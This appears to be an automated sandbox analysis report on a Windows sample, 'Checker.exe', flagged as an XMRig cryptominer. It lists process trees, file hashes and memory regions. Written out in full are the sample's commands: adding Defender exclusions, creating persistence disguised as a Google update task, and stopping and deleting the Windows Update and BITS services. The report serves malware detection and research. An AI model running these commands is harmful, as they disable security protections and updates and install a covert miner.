Analysis

  • max time kernel
    167s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230705-en
  • resource tags

    arch:x64arch:x86image:win7-20230705-enlocale:en-usos:windows7-x64system
  • submitted
    06/07/2023, 10:44

General

  • Target

    Checker.exe

  • Size

    53.0MB

  • MD5

    57afcb97e60f92e2fe43d869d5a432d5

  • SHA1

    b29668c32b353efdcab5aa367f761e1f1682ea91

  • SHA256

    7c640fe9a4d562fbec6fd8b51daca0a133465845fc4a8de35e2f6af95a8e9611

  • SHA512

    70e444062d1bf30ea500e55353d790e7c0a9d0985b4e90f2f008881f44cd68a50e64b46280c38fae8c482fcf2c21d98c3595752bec6e0805032dab07e672407f

  • SSDEEP

    786432:PqwfGQxHq+2QrViNeZO4pc+rN15CDL+jAvgRdsFSFo0NV:guVt44p1nsn+jAvgRdsMFoS

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 11 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1196
      • C:\Users\Admin\AppData\Local\Temp\Checker.exe
        "C:\Users\Admin\AppData\Local\Temp\Checker.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#rosbrqmf#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2812
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:1628
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:1528
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:1684
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2092
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:272
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:2060
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:2780
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
              3⤵
                PID:2760
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:2676
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jcwit#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
                2⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2896
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                  3⤵
                    PID:3032
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                  2⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2632
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#rosbrqmf#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2612
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
                    3⤵
                    • Creates scheduled task(s)
                    PID:2532
                • C:\Windows\System32\cmd.exe
                  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2616
                  • C:\Windows\System32\sc.exe
                    sc stop UsoSvc
                    3⤵
                    • Launches sc.exe
                    PID:1388
                  • C:\Windows\System32\sc.exe
                    sc stop WaaSMedicSvc
                    3⤵
                    • Launches sc.exe
                    PID:2572
                  • C:\Windows\System32\sc.exe
                    sc stop wuauserv
                    3⤵
                    • Launches sc.exe
                    PID:2436
                  • C:\Windows\System32\sc.exe
                    sc stop bits
                    3⤵
                    • Launches sc.exe
                    PID:2576
                  • C:\Windows\System32\sc.exe
                    sc stop dosvc
                    3⤵
                    • Launches sc.exe
                    PID:2596
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                    3⤵
                      PID:2416
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                      3⤵
                        PID:2424
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                        3⤵
                          PID:2432
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                          3⤵
                            PID:2444
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                            3⤵
                              PID:2476
                          • C:\Windows\System32\conhost.exe
                            C:\Windows\System32\conhost.exe rkostbomswpysz
                            2⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2456
                          • C:\Windows\System32\cmd.exe
                            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                            2⤵
                            • Drops file in Program Files directory
                            PID:2324
                          • C:\Windows\System32\cmd.exe
                            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                            2⤵
                            • Drops file in Program Files directory
                            PID:1184
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic PATH Win32_VideoController GET Name, VideoProcessor
                              3⤵
                              • Detects videocard installed
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2140
                          • C:\Windows\System32\conhost.exe
                            C:\Windows\System32\conhost.exe lpvrtgaoraybnvjp 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeMR2zIsa2YhX3HvrJ76L3PYAw7qlLpJBbIeCTNKBaLPSykUvzekO7koObVh69XukHNmYf5W8bMDaMPHDBhALjxm6ziWFUO9JHrnjNDYz4TjXjDaYA24sYnWlUXH83ZDmapbvZr3aqfKfyG9nx4moeRNlWj2lCejFqkaCPIieIWBnpkI3QbS0BzxviXA/4GRSKOWNHKn1bm7X3fdig6VZbCjqyzHehh8LEsH5QnzNW7X1zr4wsp4wmti6JKB2Z96l0RN9iP9PutKKsk+KJv1YK7cQAIwLotcd2/KqbIHXAW6N6liCNwugSW24ESXQmTzPxdnoYjZr2hpHGhqvVe54HraR7se9rJ/j7PQ+9BChih6hZJgcUrwa1KkW1gkRPN5dNRlmr7HMPGYgY695nz/U05zjCKr1NrGSmx9TSWA5uF+g=
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:904
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {8EFAD100-F4D0-4D2E-826E-1A1BF5665DB2} S-1-5-18:NT AUTHORITY\System:Service:
                          1⤵
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:2880
                          • C:\Program Files\Google\Chrome\updater.exe
                            "C:\Program Files\Google\Chrome\updater.exe"
                            2⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Drops file in Program Files directory
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2520

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Program Files\Google\Chrome\updater.exe

                                Filesize

                                53.0MB

                                MD5

                                57afcb97e60f92e2fe43d869d5a432d5

                                SHA1

                                b29668c32b353efdcab5aa367f761e1f1682ea91

                                SHA256

                                7c640fe9a4d562fbec6fd8b51daca0a133465845fc4a8de35e2f6af95a8e9611

                                SHA512

                                70e444062d1bf30ea500e55353d790e7c0a9d0985b4e90f2f008881f44cd68a50e64b46280c38fae8c482fcf2c21d98c3595752bec6e0805032dab07e672407f

                              • C:\Program Files\Google\Chrome\updater.exe

                                Filesize

                                53.0MB

                                MD5

                                57afcb97e60f92e2fe43d869d5a432d5

                                SHA1

                                b29668c32b353efdcab5aa367f761e1f1682ea91

                                SHA256

                                7c640fe9a4d562fbec6fd8b51daca0a133465845fc4a8de35e2f6af95a8e9611

                                SHA512

                                70e444062d1bf30ea500e55353d790e7c0a9d0985b4e90f2f008881f44cd68a50e64b46280c38fae8c482fcf2c21d98c3595752bec6e0805032dab07e672407f

                              • C:\Program Files\Google\Libs\g.log

                                Filesize

                                198B

                                MD5

                                37dd19b2be4fa7635ad6a2f3238c4af1

                                SHA1

                                e5b2c034636b434faee84e82e3bce3a3d3561943

                                SHA256

                                8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

                                SHA512

                                86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                Filesize

                                7KB

                                MD5

                                99b15bdc4b063a870d3970cbfd0317bc

                                SHA1

                                a6edce14bb166fd08c506589b34ed95501a96983

                                SHA256

                                8dc357215c985f610b85a3a09f32d1b97d5f93ab5fecc7c07b0fa8bff19c3611

                                SHA512

                                03e6b61d2999616ab270f5a5e27b690d90884eb59387e805f7e8ab80e97fa988d5bfc1dcbf531daae5a037ade1d1932221fee8d73819b1e1e438788e9d66f4b8

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                Filesize

                                7KB

                                MD5

                                99b15bdc4b063a870d3970cbfd0317bc

                                SHA1

                                a6edce14bb166fd08c506589b34ed95501a96983

                                SHA256

                                8dc357215c985f610b85a3a09f32d1b97d5f93ab5fecc7c07b0fa8bff19c3611

                                SHA512

                                03e6b61d2999616ab270f5a5e27b690d90884eb59387e805f7e8ab80e97fa988d5bfc1dcbf531daae5a037ade1d1932221fee8d73819b1e1e438788e9d66f4b8

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EENX0Y5U3GSC755JCU8L.temp

                                Filesize

                                7KB

                                MD5

                                99b15bdc4b063a870d3970cbfd0317bc

                                SHA1

                                a6edce14bb166fd08c506589b34ed95501a96983

                                SHA256

                                8dc357215c985f610b85a3a09f32d1b97d5f93ab5fecc7c07b0fa8bff19c3611

                                SHA512

                                03e6b61d2999616ab270f5a5e27b690d90884eb59387e805f7e8ab80e97fa988d5bfc1dcbf531daae5a037ade1d1932221fee8d73819b1e1e438788e9d66f4b8

                              • \Program Files\Google\Chrome\updater.exe

                                Filesize

                                53.0MB

                                MD5

                                57afcb97e60f92e2fe43d869d5a432d5

                                SHA1

                                b29668c32b353efdcab5aa367f761e1f1682ea91

                                SHA256

                                7c640fe9a4d562fbec6fd8b51daca0a133465845fc4a8de35e2f6af95a8e9611

                                SHA512

                                70e444062d1bf30ea500e55353d790e7c0a9d0985b4e90f2f008881f44cd68a50e64b46280c38fae8c482fcf2c21d98c3595752bec6e0805032dab07e672407f

                              • memory/904-128-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-109-0x00000000008F0000-0x0000000000910000-memory.dmp

                                Filesize

                                128KB

                              • memory/904-112-0x00000000008F0000-0x0000000000910000-memory.dmp

                                Filesize

                                128KB

                              • memory/904-114-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-116-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-118-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-105-0x00000000001B0000-0x00000000001D0000-memory.dmp

                                Filesize

                                128KB

                              • memory/904-108-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-106-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-126-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-124-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-122-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-120-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/904-111-0x0000000140000000-0x00000001407F4000-memory.dmp

                                Filesize

                                8.0MB

                              • memory/936-70-0x000000001B0A0000-0x000000001B382000-memory.dmp

                                Filesize

                                2.9MB

                              • memory/936-74-0x0000000002430000-0x00000000024B0000-memory.dmp

                                Filesize

                                512KB

                              • memory/936-73-0x0000000002430000-0x00000000024B0000-memory.dmp

                                Filesize

                                512KB

                              • memory/936-72-0x0000000002430000-0x00000000024B0000-memory.dmp

                                Filesize

                                512KB

                              • memory/936-71-0x0000000002420000-0x0000000002428000-memory.dmp

                                Filesize

                                32KB

                              • memory/2308-63-0x0000000002470000-0x00000000024F0000-memory.dmp

                                Filesize

                                512KB

                              • memory/2308-61-0x0000000002470000-0x00000000024F0000-memory.dmp

                                Filesize

                                512KB

                              • memory/2308-62-0x0000000002470000-0x00000000024F0000-memory.dmp

                                Filesize

                                512KB

                              • memory/2308-60-0x00000000022A0000-0x00000000022A8000-memory.dmp

                                Filesize

                                32KB

                              • memory/2308-59-0x000000001B210000-0x000000001B4F2000-memory.dmp

                                Filesize

                                2.9MB

                              • memory/2308-64-0x000000000247B000-0x00000000024B2000-memory.dmp

                                Filesize

                                220KB

                              • memory/2456-107-0x0000000140000000-0x0000000140016000-memory.dmp

                                Filesize

                                88KB

                              • memory/2456-115-0x0000000140000000-0x0000000140016000-memory.dmp

                                Filesize

                                88KB

                              • memory/2520-100-0x000000013FC90000-0x0000000143198000-memory.dmp

                                Filesize

                                53.0MB

                              • memory/2520-104-0x000000013FC90000-0x0000000143198000-memory.dmp

                                Filesize

                                53.0MB

                              • memory/2520-90-0x000000013FC90000-0x0000000143198000-memory.dmp

                                Filesize

                                53.0MB

                              • memory/2612-95-0x00000000012C0000-0x0000000001340000-memory.dmp

                                Filesize

                                512KB

                              • memory/2612-94-0x00000000012C0000-0x0000000001340000-memory.dmp

                                Filesize

                                512KB

                              • memory/2612-93-0x00000000012C0000-0x0000000001340000-memory.dmp

                                Filesize

                                512KB

                              • memory/2612-96-0x00000000012CB000-0x0000000001302000-memory.dmp

                                Filesize

                                220KB

                              • memory/2632-92-0x000000000114B000-0x0000000001182000-memory.dmp

                                Filesize

                                220KB

                              • memory/2632-91-0x0000000001144000-0x0000000001147000-memory.dmp

                                Filesize

                                12KB

                              • memory/2896-85-0x00000000023F0000-0x0000000002470000-memory.dmp

                                Filesize

                                512KB

                              • memory/2896-86-0x00000000023F0000-0x0000000002470000-memory.dmp

                                Filesize

                                512KB

                              • memory/2896-84-0x00000000023F0000-0x0000000002470000-memory.dmp

                                Filesize

                                512KB

                              • memory/2896-83-0x00000000023F0000-0x0000000002470000-memory.dmp

                                Filesize

                                512KB

                              • memory/3064-54-0x000000013FE00000-0x0000000143308000-memory.dmp

                                Filesize

                                53.0MB

                              • memory/3064-76-0x000000013FE00000-0x0000000143308000-memory.dmp

                                Filesize

                                53.0MB